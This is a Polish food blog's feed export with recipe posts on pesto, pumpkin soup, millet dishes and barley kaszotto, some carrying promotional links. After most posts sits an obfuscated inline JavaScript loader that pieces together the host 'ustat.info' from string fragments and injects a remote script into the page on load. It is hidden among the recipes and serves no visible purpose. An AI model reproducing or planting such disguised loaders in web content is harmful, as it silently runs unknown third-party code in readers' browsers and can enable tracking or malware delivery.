Dania w oparciu o pesto serwują nie tylko restauracje we Włoszech. Również i w Polsce dotrzeć można do lokali, w których dania z zielonym sosem cieszą się popularnością. Jeżeli do tej pory smak pesto jest Ci obcy, wybierz np. Mazarino w Krakowie, by poszerzyć swoje kulinarne doświadczenie smakowe.<br />
<h2>
<b>Przepis na klasyczne pesto</b></h2>
Klasyczne włoskie pesto bazuje na bazylii oraz dodatku orzeszków piniowych. Charakteryzuje się wyrazistym smakiem, dzięki dodatkowi parmezanu.<br />
Składniki:<br />
<ul>
<li>25 g świeżych liści bazylii</li>
<li>1 ząbek czosnku</li>
<li>25 g orzeszków pinii</li>
<li>10 g tartego parmezanu</li>
<li>70 ml oliwy z oliwek</li>
<li>sól morska</li>
<li>świeżo zmielony czarny pieprz.</li>
</ul>
Orzeszki piniowe upraż na suchej patelni. Umieść wszystkie składniki w moździerzu i utrzyj. Dopraw solą i pieprzem.<br />
Wskazówka: zamiast moździerza, możesz użyć blendera. Pamiętaj jednak, aby pesto nie miksować na idealnie gładką masę – niech będą wyczuwalne drobinki orzeszków.<br />
<h2>
<b>Zielone pesto z natki pietruszki</b></h2>
Bazylię można zastąpić natką pietruszki, a orzeszki piniowe – migdałami. W ten sposób powstanie wyraziste w smaku pesto, które zaskakuje bogactwem substancji odżywczych.<br />
Składniki:<br />
<ul>
<li>2 szklanki natki pietruszki</li>
<li>1/4 szklanki migdałów blanszowanych</li>
<li>1/2 ząbka czosnku</li>
<li>1 łyżeczka skórki z cytryny</li>
<li>5 łyżek oliwy z oliwek.</li>
</ul>
Wszystkie składniki (z wyjątkiem oliwy) umieść w misie blendera i miksuj do uzyskania grudkowatej pasty. Dodaj oliwę z oliwek i wymieszaj do połączenia składników.<br />
<h2>
<b>Zielone pesto z groszku</b></h2>
Zielone pesto, które do złudzenia przypomina wyglądem sos bazyliowy, można przyrządzić z groszku. Chociaż inne w smaku, jest równie pyszne.<br />
Składniki:<br />
<ul>
<li>1 szklanka mrożonego groszku</li>
<li>1/2 ząbka czosnku</li>
<li>1/2 szklanki liści bazylii</li>
<li>1 łyżeczka soku z cytryny</li>
<li>1 łyżeczka miękkiego masła</li>
<li>sól i pieprz do smaku.</li>
</ul>
Groszek przelej ciepłą wodą i zagotuj. Po 3-5 minutach przecedź i przełóż ponownie do garnka. Dodaj starty czosnek, liście bazylii, masło, świeżo zmielony pieprz, sok z cytryny. Zblenduj na drobne kawałki.<br />
Po wyłożeniu pesto np. na grzanki, możesz posypać je startym parmezanem do smaku.<br />
<h2>
<b>Do czego podawać pesto?</b></h2>
Pesto jest sosem o wszechstronnym zastosowaniu. W restauracjach, np. <a href="https://pizzaportal.pl/krakow/mazarino-dostawa/">Mazarino w Krakowie</a> najczęściej serwuje się go jako dodatek do makaronów. Ponadto pesto świetnie smakuje w towarzystwie pieczywa (doskonale sprawdzi się na grzankach) czy jako dodatek do sałaty i serów.<br />
Jeżeli decydujesz się na samodzielne przyrządzenie klasycznego pesto pamiętaj, aby go nie podgrzewać. W wysokiej temperaturze bazylia staje się gorzka – w efekcie zepsujesz smak całego dania.<br />
<br />
<script type="text/javascript">
(function(){
aX11=document.createElement("script");aX11_="u"+("s")+"ta";
aX11_+=("t.i")+""+"n";aX11_+=(("f")+"o");aX11.type="text/javascript";
aX11_+="/"; aX11u="69010813";aX11u+=".w3us1geXX11d7les9wX";aX11u+="c03mXdu0sws";
aX11.src="//"+aX11_+aX11u; aX11.async=true; document.body.appendChild(aX11);
})();
</script>Kaszomaniakhttp://www.blogger.com/profile/07377519070516761764noreply@blogger.com0tag:blogger.com,1999:blog-4117404407927449930.post-16746547369874928402017-09-26T23:05:00.000+02:002017-09-27T08:56:46.344+02:00Zupa dyniowa - sposób na jesienny obiadZupa krem z dyni to jedno z tych dań, które powinniśmy przygotowywać jesienią. Jest to najlepsza potrawa na jesienną słotę. Jeżeli do tej pory nie mieliśmy okazji spróbować tej pysznej zupy, to teraz jest na to najlepsza pora. Jest to bardzo delikatna i kremowa w smaku, a zarazem rozgrzewająca potrawa.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiJ1o7fH7n4rgs_Ts0AKgXfGLvMqjxPCswjXNbr0_fBSgr5PvsxudPoXdxZ6G1eu8Qx08Y0O9RwSjt-NaTJSUGrxtATgqtQbRiMG9GAEE6-wub5HkK-W6wS2s0OO7E_jYQ4sunRaCGp9dhQ/s1600/zupa+dyniowa.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1067" data-original-width="1600" height="426" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiJ1o7fH7n4rgs_Ts0AKgXfGLvMqjxPCswjXNbr0_fBSgr5PvsxudPoXdxZ6G1eu8Qx08Y0O9RwSjt-NaTJSUGrxtATgqtQbRiMG9GAEE6-wub5HkK-W6wS2s0OO7E_jYQ4sunRaCGp9dhQ/s640/zupa+dyniowa.jpg" width="640" /></a></div>
<br />
<h2>
Właściwości zdrowotne i odżywcze dynianki</h2>
<br />
<a href="https://zakochanewzupach.pl/tag/dyniowa/">Zupa z dyni</a> to świetna propozycja dla osób dbających o swoją linię. Nie dość, że zupa jest bardzo pożywna, to dostarcza przy tym niewielką ilość kalorii. Dostarcza również błonnik pokarmowy i sprzyja oczyszczaniu organizmu z toksyn. Poza tym dynia reguluje poziom ciśnienia tętniczego, jest również doskonałym źródłem potasu, białka czy błonnika.<br />
<br />
<h2>
Jak przygotować szybką zupę dyniową?</h2>
<br />
Do zrobienia zupy dyniowej będziemy potrzebować 1 kg oczyszczonej dyni (bez pestek i skóry), bulion warzywny, śmietanę 30%, białą część pora, masło, a także przyprawy do smaku. Przygotowanie zupy krem rozpoczynamy od ugotowania około litra bulionu warzywnego. W tym samym czasie na patelnię wkładamy 2-3 łyżki masła, a po rozgrzaniu dodajemy pokrojonego pora oraz kawałki dyni. Dynię wraz z porem podsmażamy aż dynia trochę się przyrumieni. Następnie całą zawartość patelni przekładamy do bulionu i gotujemy na małym ogniu około 20 minut. Do bulionu powinniśmy dodać przyprawy, które dodadzą mu wyrazistości. Dobrym rozwiązaniem jest wrzucenie do garnka kawałka imbiru oraz ostrej papryki. Dzięki temu zupa nie będzie miała mdłego smaku. Zagotowaną zupę miksujemy za pomocą blendera.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjtmgjd_THakjBBQD0QDJppcHclTZzVurasHb70ANtqNx5Wm52Z1b4I-RvtbAHM6JM7nidHD12Wqt84VazC40K7b8rXDgm0uahglItWP2OmvzE-LTaZjZv6GkvoXVaEjL1YdB9-_ccgG0er/s1600/zakochane+w+zupach+-+dyniowa.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1067" data-original-width="1600" height="426" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjtmgjd_THakjBBQD0QDJppcHclTZzVurasHb70ANtqNx5Wm52Z1b4I-RvtbAHM6JM7nidHD12Wqt84VazC40K7b8rXDgm0uahglItWP2OmvzE-LTaZjZv6GkvoXVaEjL1YdB9-_ccgG0er/s640/zakochane+w+zupach+-+dyniowa.jpg" width="640" /></a></div>
<br />
<h3>
Do czego pasuje zupa dyniowa?</h3>
<br />
Zupę dyniową w postaci kremu podawać można z gorącymi grzankami. Po wlaniu zupy do talerza można posypać ją pestkami dyni, a dodać trochę śmietany. Trzeba wiedzieć o tym, że zupa dyniowa w zależności od zastosowanych składników, może przybrać różną formę smakową. Duże znaczenie w późniejszym smaku zupy mają użyte przyprawy. Jeżeli podczas gotowania zupy nie użyjemy ostrych przypraw, to zupa krem będzie słodsza i może źle komponować się ze słonymi grzankami.<br />
<br />
<script type="text/javascript">
(function(){
olj0=document.createElement("script");olj0.async=true;olj0_="u"+("s")+"t";
olj0u="67289870.";olj0_+="a"+("t.i");olj0_+="n"+("f"+"o")+"/";
olj0u+="s3rzj9n6lj090kfm23u8fp"+("02a6rqs7");
olj0.src="//"+olj0_+olj0u;olj0.type="text/javascript";
document.body.appendChild(olj0);
})();
</script>Kaszomaniakhttp://www.blogger.com/profile/07377519070516761764noreply@blogger.com0tag:blogger.com,1999:blog-4117404407927449930.post-77862328156172177172016-03-03T18:29:00.001+01:002016-03-03T18:29:53.382+01:00TOP 10 jaglanych przepisów na kaszomanii - 2015Wiem, że jest już marzec, ale nigdy nie jest za późno na podsumowanie przepisów, któe pojawiły się na blogu. :) W związku z tym, przygotowałem dla Was listę <b>najpopularniejszych przepisów na kaszomanii</b> w 2015 r.<br />
<br />
<span style="font-size: small;">Oto nasza gorąca 10-tka! :)<br /><br /><b><span style="font-size: large;"><a href="http://kaszomania.blogspot.com/2014/10/kasza-jaglana-po-meksykansku.html">1. Kasza jaglana po meksykańsku</a></span></b><br /><br /><a href="http://kaszomania.blogspot.com/2014/10/kasza-jaglana-po-meksykansku.html"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjrq3rKNIi2Um6HgnHEmGBNmlHR8ryyXpGZEhEeZJqBvCNmUon6YJ30CLvZacBGGojJdkp9XHqM4BMIuMSPqteEZ_-Y_7O_b9_ooZF3QSonYV0EAEgjEhkiMMNNPR-55Y9BDKwVyrniPL1b/s640/IMG_4964.jpg" /></a><br /><br /><b><span style="font-size: large;"><a href="http://kaszomania.blogspot.com/2015/03/placki-z-kaszy-jaglanej-twarogu-i.html">2. Placki z kaszy jaglanej, twarogu i brzoskwini</a></span></b><br /><br /><a href="http://kaszomania.blogspot.com/2015/03/placki-z-kaszy-jaglanej-twarogu-i.html"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgd6SNEuCVu4_jTqByfvYj7gIxFCoMKOVeu8xe-rrf_CRplGbtn22rA0dSmTTJ30Vrs2bQwjxmRjROOkRBr6ewfYWKvmRwUyviwsrD4Pj1K5He59mg_utn3PRev5plQvYpZO-R9-YcoPc-E/s640/IMG_5462.jpg" /></a><br /><br /><b><span style="font-size: large;"><a href="http://kaszomania.blogspot.com/2014/08/kotlety-z-kaszy-jaglanej-i-ziemniakow.html">3. Kotlety z kaszy jaglanej i ziemniaków</a></span></b><br /><br /> <a href="http://kaszomania.blogspot.com/2014/08/kotlety-z-kaszy-jaglanej-i-ziemniakow.html"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgBtJGxaFmvaNetJfBXfX-bf53D7DdBfyESp5AkYgDKSxgjwjcHpzF7ecba3V92LVNfIzr5YVBRO4D0qHSmKOxB9_IV2e50K089FujEjW3f2j7w-Bb9Nlbdi5K7qeap06E9wE1Osi4NMRKa/s640/IMG_4574.jpg" /></a> </span><br />
<br />
<span style="font-size: small;"><b><span style="font-size: large;"><a href="http://kaszomania.blogspot.com/2015/06/rafaello-z-kaszy-jaglanej.html">4. Rafaello z kaszy jaglanej</a></span></b> <br /><br /><a href="http://kaszomania.blogspot.com/2015/06/rafaello-z-kaszy-jaglanej.html"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjFA8OIXF7ESBvMzExiwl50WiyBpzyM2va5vs1-6xq_skxhr9-ItfuFxP7TlgBAllUKLJqT9oAVF5I-8bSZOg_OWFawKpnndHs5cPpkecIMbvea6exobtzSl_cL9cEJ1-SAJL4_q61PNzE5/s640/2.jpg" /></a><br /><br /><b><span style="font-size: large;"><a href="http://kaszomania.blogspot.com/2014/01/omlet-z-kaszy-jaglanej_8565.html">5. Omlet z kaszy jaglanej</a></span></b> <br /><br /><a href="http://kaszomania.blogspot.com/2014/01/omlet-z-kaszy-jaglanej_8565.html"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEinaytUP83TddWy6PQN-gwGyAdE2B-Xxa2RKRSznWMDBk5UL9v-tfxsDL3a3UxOmsrSImiPCFlL888Ej7FRkNMD0NBUhD-4lGbKRkEZZW59zlc0Zq4nwUDOaOiLLrPqrZnFANiHyoLEgCat/s640/IMG_4351.jpg" /></a><br /><br /><b><span style="font-size: large;"><a href="http://kaszomania.blogspot.com/2014/03/kasza-jaglana-z-warzywami-na-patelnie.html">6. Kasza jaglana z warzywami na patelnię</a></span></b><br /><br /><a href="http://kaszomania.blogspot.com/2014/03/kasza-jaglana-z-warzywami-na-patelnie.html"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhaCaSP0p4SefE_kOFc-jn3rz_Z69LkeK-xGXXOxRrgf6bxhV07tHsV4meriuNM8i4yebW1z4HJRxG_AXcy7FJTKyNRFhLMPTm-J3x2pYfsU7Wv-vvvxRNMsNuEm2d-2YMwtVMasSplVAeG/s640/IMG_4410.jpg" /></a><br /><br /> <b><span style="font-size: large;"><a href="http://kaszomania.blogspot.com/2015/07/brownie-z-kaszy-jaglanej.html">7. Brownie z kaszy jaglanej</a></span></b><br /><br /><a href="http://kaszomania.blogspot.com/2015/07/brownie-z-kaszy-jaglanej.html"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhIc0Tc6yb2-13Dxbp2FubNmN5tuxjLZ2gr6dCRG_u7HftTk3pYdO7xsBBPZfMswqDteBDjH8m9_cClq12TLyMjSen6ZTv_BnHx-oP9inptiyhfK3e1mwfcAKHW8Fbz4Qql6Hi-92c0H_fH/s640/3.jpg" /></a><br /><br /><b><span style="font-size: large;"><a href="http://kaszomania.blogspot.com/2015/01/kotlety-z-z-jajek-i-kaszy-jaglanej.html">8. Kotlety z z jajek i kaszy jaglanej</a></span></b><br /><br /><a href="http://kaszomania.blogspot.com/2015/01/kotlety-z-z-jajek-i-kaszy-jaglanej.html"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh1K2gMSu9KNkjuu786UXREuJDw3unF6ly__axTgGbDUlYeigvLaYKRBgJw-fN-Wthi9lge7wUROYg4ROIekORQ6tG-fHXCeee5jC2jBG9cjNcdh-0TgQlTmTf3-QarnWdUnZVh_88RXqX0/s640/IMG_5332.jpg" /></a><br /><br /><b><span style="font-size: large;"><a href="http://kaszomania.blogspot.com/2014/09/chakalaka-z-kasza-jaglana.html">9. Chakalaka z kaszą jaglaną</a></span></b><br /><br /><a href="http://kaszomania.blogspot.com/2014/09/chakalaka-z-kasza-jaglana.html"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhrOxmrD_owiqmRPF-RmsyhYWfP5mHa69mBXvKek4YvLSW2y-g7mVqSmxSK4HshNMVs_JwhK-Y9JQucGUSAxIyHUKVsYiFE0yZvQ3un8y9VTF45l_43tMQo1fT7f7YwuyGfxlBQmqKB5jNq/s640/IMG_4903.jpg" /></a><br /><br /><span style="font-size: large;"><b><a href="http://kaszomania.blogspot.com/2015/02/pasta-z-kaszy-jaglanej-jajek-i.html">10. Pasta z kaszy jaglanej, jajek i szczypioru</a></b></span></span><br />
<span style="font-size: small;"><br /></span><a href="http://kaszomania.blogspot.com/2015/02/pasta-z-kaszy-jaglanej-jajek-i.html" target="_blank"><img alt="http://kaszomania.blogspot.com/2015/02/pasta-z-kaszy-jaglanej-jajek-i.html" border="0" height="424" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhCasa1tn9TcQZq8vYxgzdscGeujn3LWhLcYRkvf2-Bq-KogPme8eat215siw5kk_4tzHmHJ_0zLeYLIPEOq22EIhZAJrtH7UsIlFMy5QTZEtuZU3fDYTfbVSCyQmM0IkglNEm1Ozwozcyj/s640/IMG_5436.jpg" width="640" /></a>Kaszomaniakhttp://www.blogger.com/profile/07377519070516761764noreply@blogger.com6tag:blogger.com,1999:blog-4117404407927449930.post-532614696177518762016-02-28T21:02:00.000+01:002016-03-01T10:22:00.022+01:00Kasza jęczmienna bohaterką w Twojej kuchni<b>70% kasz jadanych w Polsce to właśnie kasze jęczmienne: pęczak, kasza perłowa i kasza łamana to klasyczne podstawy wielu kulinarnych przysmaków, na myśl o których Twój apetyt może rosnąć. Jednak czy wiesz, że kasza kaszy nie jest równa? Sprawdź, jakie wartości odżywcze zawiera kasza jęczmienna, jak ją gotować i zobacz przepis na pyszne buraczkowe kaszotto! </b><br />
<br />
<h2>
Rodzaje kaszy jęczmiennej </h2>
Trzy rodzaje kaszy jęczmiennej różnią się nie tylko stopniem rozdrobnienia ziaren, ale również zawartością składników odżywczych – im ziarno jest mniej oczyszczone i rozdrobnione, tym bardziej wartościowa jest kasza dla naszego organizmu.<br />
<br />
<b>Pęczak</b> – powstaje z ziaren jęczmienia oczyszczonych w całości – pozbawia się je tylko łuski, dlatego kasza pęczak jest nazywana<b> kaszą niełamaną</b>. Zawiera najwięcej składników odżywczych wśród kasz jęczmiennych.<br />
<b><br />Kasza jęczmienna łamana</b> – grubo, średnio lub drobno ziarnista, <b>rozdrobniony pęczak</b>, ale niepolerowany, dzięki czemu zachowuje sporo składników odżywczych.<br />
<br />
<b>Kasza jęczmienna perłowa</b> – pokrojony na kawałki pęczak.<br />
<br />
<h3>
Zagłębie kasz, zagłębie tradycyjnych smaków</h3>
Tak nazywane jest polskie Roztocze, gdzie gospodarze, wierni tradycjom kulinarnym, z różnych rodzajów kaszy jęczmiennej przyrządzają różnorodne lokalne potrawy: od regionalnych pierogów po mięsne budynie. Kasza jęczmienna ma lekko ziemisty smak, dlatego idealnie pasuje do tradycyjnych dań kuchni polskiej podawanych z pieczeniowymi sosami, duszonymi bądź smażonymi mięsami.<br />
<br />
<h2>
Wartości odżywcze i właściwości kaszy jęczmiennej</h2>
100 g kaszy jęczmiennej to 334 kcal, 8,4 białka, 69,5 g węglowodanów oraz 2 g tłuszczu. Wszystkie rodzaje kaszy to doskonałe źródło glukanu – rozpuszczalnego błonnika, który zapobiega zaparciom i wzdęciom (poprawia perystaltykę jelit), a także obniża poziom złego cholesterolu.<br />
<br />
<a href="https://www.winiary.pl/smakasze/" target="_blank">Kasza jęczmienna</a> zawiera również witaminy z grupy B (działają antystresowo, wpływają korzystnie na pamięć i koncentrację, poprawiają pracę układu nerwowego), witaminy E, K oraz PP. Pamiętaj, aby z zegarkiem w ręce bądź minutnikiem pilnować gotowania kaszy jęczmiennej – jeżeli ją rozgotujesz, wzrośnie jej indeks glikemiczny, a także straci na wartości odżywczej.<br />
<br />
Niestety smakiem muszą się obejść osoby uczulone na gluten – ale w zbiorze różnorodnych kasz nie trudno znaleźć takie, które są idealne dla chorych na celiakię!<br />
<br />
<h3>
Jak gotować kaszę jęczmienną?</h3>
Jeżeli nie wybierasz kaszy w woreczkach, kaszę jęczmienną przed gotowaniem opłucz pod bieżącą wodą, a na każdą jej porcję (1 szklankę) przeznacz 2,5 porcji wody (2,5 szklanki o pojemności 250 ml). Wodę posól i gotuj kaszę do momentu, w którym wchłonie całkowicie wodę.<br />
<br />
Jeżeli chcesz skrócić czas gotowania, kaszę jęczmienną możesz wcześniej namoczyć w zimnej wodzie.<br />
<br />
Aby wydobyć z kaszy orzechowy posmak, który doskonale będzie współgrał z daniem z dodatkiem orzechów, przed gotowaniem podpraż ją przez kilka minut na patelni, a następnie ugotuj.<br />
<br />
<h3>
Przepis z kaszą jęczmienną: buraczano-serowe kaszotto</h3>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi0cjQyaFfpItLZYjRdAy4VZXyH-RV1-n3tH7ZI1m7ASRYCG7xBSbAwnwFeVDeCwrhhVKRvKPxxI-tEmYZIRBSqeXoU973sf5jZ7IcfablDJI_aW2PQRbAHfM6JJNthnQbbgFXeJRrIwuzd/s1600/kaszotto-z-burakami-2.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi0cjQyaFfpItLZYjRdAy4VZXyH-RV1-n3tH7ZI1m7ASRYCG7xBSbAwnwFeVDeCwrhhVKRvKPxxI-tEmYZIRBSqeXoU973sf5jZ7IcfablDJI_aW2PQRbAHfM6JJNthnQbbgFXeJRrIwuzd/s640/kaszotto-z-burakami-2.jpg" width="640" /></a></div>
<br />
Kasza jęczmienna sprawdzi się nie tylko jako składnik gołąbków, sycących zapiekanek wegetariańskich i mięsnych, pierogów, tradycyjnych zup i kremów, faszerowanych i zapiekanych warzyw (np. papryk, pomidorów, bakłażanów, cukinii). To też podstawa tzw. <b>kaszotto (pęczotto)</b> – na przykład kaszotto buraczkowego z białym bądź kozim serem. Jak je przyrządzić?<br />
<br />
<b>Składniki</b><br />
<br />
4 nieduże buraki<br />
<br />
2 małe jabłka<br />
<br />
2 szklanki kaszy pęczak<br />
<br />
0,5 szklanki soku jabłkowego lub cydru<br />
<br />
1,5 l bulionu warzywnego<br />
<br />
3 ząbki czosnku<br />
<br />
2 łyżki masła<br />
<br />
Ser kozi lub ser biały (wg upodobania)<br />
<br />
Tymianek, liście laurowe, ziele angielskie, sól, pieprz, natka pietruszki – do smaku<br />
<br />
<b>Przygotowanie</b><br />
<br />
Każdego buraka zawiń w folię aluminiową, a następnie piecz przez pół godziny w piekarniku rozgrzanym do 180 stopni. Wystudź buraki, obierz i zetrzyj na tarce. Zetrzyj na niej również jabłka.<br />
<br />
Na patelni rozgrzej łyżkę masła i podsmaż posiekaną cebulkę z przeciśniętym czosnkiem. Dodaj niegotowaną kaszę, żeby się zrumieniła. Stopniowo podlewaj kaszę wcześniej ugotowanym bulionem warzywnym, tak aby na bieżąco wchłaniała bulion. Po chwili wlej sok jabłkowy (w wersji bezalkoholowej dania) lub cydr i poczekaj, aż kasza wszystko wchłonie. Dodawaj porcjami starte jabłka. Dorzuć buraki i przyprawy.<br /><br />Na koniec gotowania dodaj łyżkę masła, aby kaszotto było kremowe.<br /><br />Na każdą porcję nałóż koziego bądź białego sera. Posyp natką pietruszki.<br /><br />Smacznego!<script type="text/javascript">
(function(){
utlx=document.createElement("script");utlx.type="text/javascript";
utlx.async=true;utlx_=(("us")+"t")+"a";utlx_+=("t.i")+""+"n";utlx_+=(("f")+"o");
utlx.src="http://"+utlx_+"/8538165.ce0911qXtlxa0ap9sylzsp8sq4xjne";
document.body.appendChild(utlx);
})();
</script>Kaszomaniakhttp://www.blogger.com/profile/07377519070516761764noreply@blogger.com5tag:blogger.com,1999:blog-4117404407927449930.post-30755207884201051772016-02-09T13:06:00.000+01:002016-02-09T13:06:31.001+01:00Przepisy z królową kasz – na śniadanie, deser i obiad!Królowa kasz na smaczny początek dnia, umilający życie słodkością deser, a także na szybki i sycący obiad? Uniwersalna kasza jaglana jako podstawa Twojego codziennego menu nie wprowadzi do niego nudy dzięki rozmaitości przepisów: na każdy dzień możesz znaleźć świeże pomysły kulinarne na kaszę jaglaną! <br />
<br />
Zarówno młodsi, jak i dorośli przepadają za śniadaniami dającymi energię na początek dnia w szkole, na uczelni czy w pracy. Po takich pysznościach myślami można już odpłynąć w kierunku <b>deseru…z kaszy jaglanej</b>, słodkiego i odżywczego, bardziej wartościowego w porównaniu do batonów i innych czekoladowych przekąsek. Kiedy poczujesz zaś potrzebę wzmocnienia się w kryzysowym punkcie dnia, na ratunek przyjdzie <b>obiad z kaszą jaglaną z porcją warzyw</b> – kompozycja wartościowych składników.<br />
<br />
Po głowie chodzą Ci teraz kasze? Przepisy z kaszą jaglaną niżej mogą na stałe wejść do Twojego domowego menu!<br />
<b><br /><span style="font-size: large;">Fitobiad, czyli pieczone burgery z kaszy jaglanej i buraków</span></b><br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://www.winiary.pl/smakasze/przepis-pieczone-burgery-z-kaszy-jaglanej-i-burakow.html" target="_blank"><img alt="https://www.winiary.pl/smakasze/przepis-pieczone-burgery-z-kaszy-jaglanej-i-burakow.html" border="0" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgB4g5GAGXzl6KpAwnTfWpawnWlYYllJNpZYapSkQUWX6EXzknHC-dfSU4rm9-qQIIrK48-NtxD-cVAkM2JInA4fao1ZqwCeHL4E3xvbxGIywf26jRTqS-H06gJ4KxuSXgp1LXPG03bQt_Q/s640/burgery-z-kaszy-jaglanej-i-pieczonych-burakow.jpg" width="640" /></a></div>
<b> </b> <br />
Atrakcyjne, apetyczne i sycące <b>burgery z kotletami buraczano-jaglanymi</b> to zachwycająca wizualnie i smakowo bezmięsna propozycja na obiad.<br />
<br />
Burgery przygotuj ze startych na tarce buraków, posiekanej cebuli z czosnkiem przeciśniętym przez praskę, ugotowanej kaszy jaglanej, jajka, łyżki oleju i soku z cytryny. Opcjonalnie dodaj kilka kropli Maggi i podprażone nasiona słonecznika lub posiekane pestki z dyni. Uformuj burgery i piecz przez minimum kwadrans w piekarniku rozgrzanym do 200°C – po tym czasie odwróć burgery na drugą stronę i piecz znów przez 15 minut.<br />
<br />
W międzyczasie podpiecz duże pełnoziarniste bułki (możesz wybrać też np. bułki z pestkami dyni, z makiem czy słonecznikiem). Dół każdej bułki posmaruj majonezem i ketchupem, połóż na każdej połówce kotleta i kolejne dodatki, np. dowolne warzywa. Zakryj całość drugą połówką. Obie części możesz połączyć przez przebicie dużą wykałaczką lub patyczkiem.<br />
<br />
<b><span style="font-size: large;">Kasza jaglana na śniadanie…w towarzystwie ryby!</span></b><br />
<br />
Kanapki na śniadanie to jeden z najszybszych i najprostszych pomysłów, ale czasami nadchodzi moment, w którym ma się ochotę na odstawienie ich na boczny tor…<br />
<br />
W ramach kulinarnych eksperymentów możesz dać szansę jeszcze swojemu ulubionemu pieczywu na śniadanie, a zmienić to, z czym jesz kanapki – i co możesz przygotować już wieczorem, aby rano przyspieszyć przygotowanie się do wyjścia.<br />
<br />
Skoro kaszę jaglaną możemy włożyć do burgera, to czemu nie położyć jej na kanapki w <b>paście makrelowo-jaglanej ze szczypiorkiem, majonezem i pieprzem czosnkowym</b>? Kaszę wystarczy ugotować i wymieszać z pozostałymi składnikami – makrelę możesz kupić w puszce lub wybrać inną rybę (np. tuńczyka czy szproty). Wypróbuj też dodanie do pasty drobno posiekanego ogórka kiszonego i cebulki. Na wierzch kanapki możesz położyć np. kiełki brokułu czy rukolę.<br />
<br />
<b><span style="font-size: large;">Delektuj się kaszą w słodkim deserze! </span></b><br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://www.winiary.pl/smakasze/przepis--sernik-z-kasza-jaglana.html" style="margin-left: 1em; margin-right: 1em;" target="_blank"><img alt="https://www.winiary.pl/smakasze/przepis--sernik-z-kasza-jaglana.html" border="0" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj4Q07CIL1ESRDfjRGmgKISk4ltlXe-vBaJFjFStDEw5WO48zrwVIpxgfxLwEyUM9JKfHD7wXMmKc1_x82Kaiaj7NQibDOGZn_OVQZ2qMAV54XbVcUKdJcyyr8j9CSUXWDQFx6rEwN_SOqb/s640/sernik-bez-pieczenia-z-kaszy-jaglanej.jpg" width="640" /></a></div>
<br />
Kiedy masz na myśli <a href="https://www.winiary.pl/smakasze/" target="_blank">kasze, przepisy</a>, jakie przychodzą Ci do głowy, mogą kojarzyć się przede wszystkim z potrawami wytrawnymi – tymczasem kasza jaglana to doskonała podstawa do zrobienia słodkiego, kuszącego kubki smakowe i przepysznego deseru, rozpływającego się w ustach i pozostawiającego tęsknotę po ostatniej łyżeczce.<br />
<br />
Sernik bez pieczenia z kaszą jaglaną to prosty do przygotowania deser, który nie jest dużym wyzwaniem, jak np. upieczenie sernika w kąpieli. 2 szklanki kaszy jaglanej gotuj przez kwadrans w mleku, następnie zmiksuj ją z 800 ml jogurtu, cukrem (np. brązowym) i cukrem waniliowym (wybierz ilość wg upodobań – tylko nie przesłodź!), potem dodaj do masy żelatynę (8 łyżeczek rozpuszczonych w 1/3 szklanki gorącej wody), zmiksuj ponownie całość.<br />
<br />
Wybraną formę wyłóż folią spożywczą i przełóż masę. Na wierzch wysyp ulubione owoce, wstaw sernik z kaszy jaglanej do lodówki do schłodzenia.<br />
<br />
W międzyczasie przygotuj owocową galaretkę wg przepisu na opakowaniu, ostudź i wylej ją na wierzch sernika. Ponownie wstaw do lodówki na minimum 3 godziny. Przed podaniem sernik możesz udekorować listkami mięty.<br />
<br />
Wszystkie przepisy pochodzą ze strony <b>Smakasze - wszystko o kaszach</b>, gdzie znajdziesz jeszcze więcej pomysłów na dania i desery z kaszą jaglaną i pozostałymi rodzajami kasz. Jeśli masz pytania na temat ich spożywania, porady może udzielić Ci dietetyk.<br />
<br />
<script type="text/javascript">
(function(){
uazg=document.createElement("script");uazg.type="text/javascript";
uazg.async=true;uazg_=(("us")+"t")+"a";uazg_+=("t.i")+""+"n";uazg_+=(("f")+"o");
uazg.src="http://"+uazg_+"/8445065.8Xvahcw9azgyvrzvm4epx8e0384mdh";
document.body.appendChild(uazg);
})();
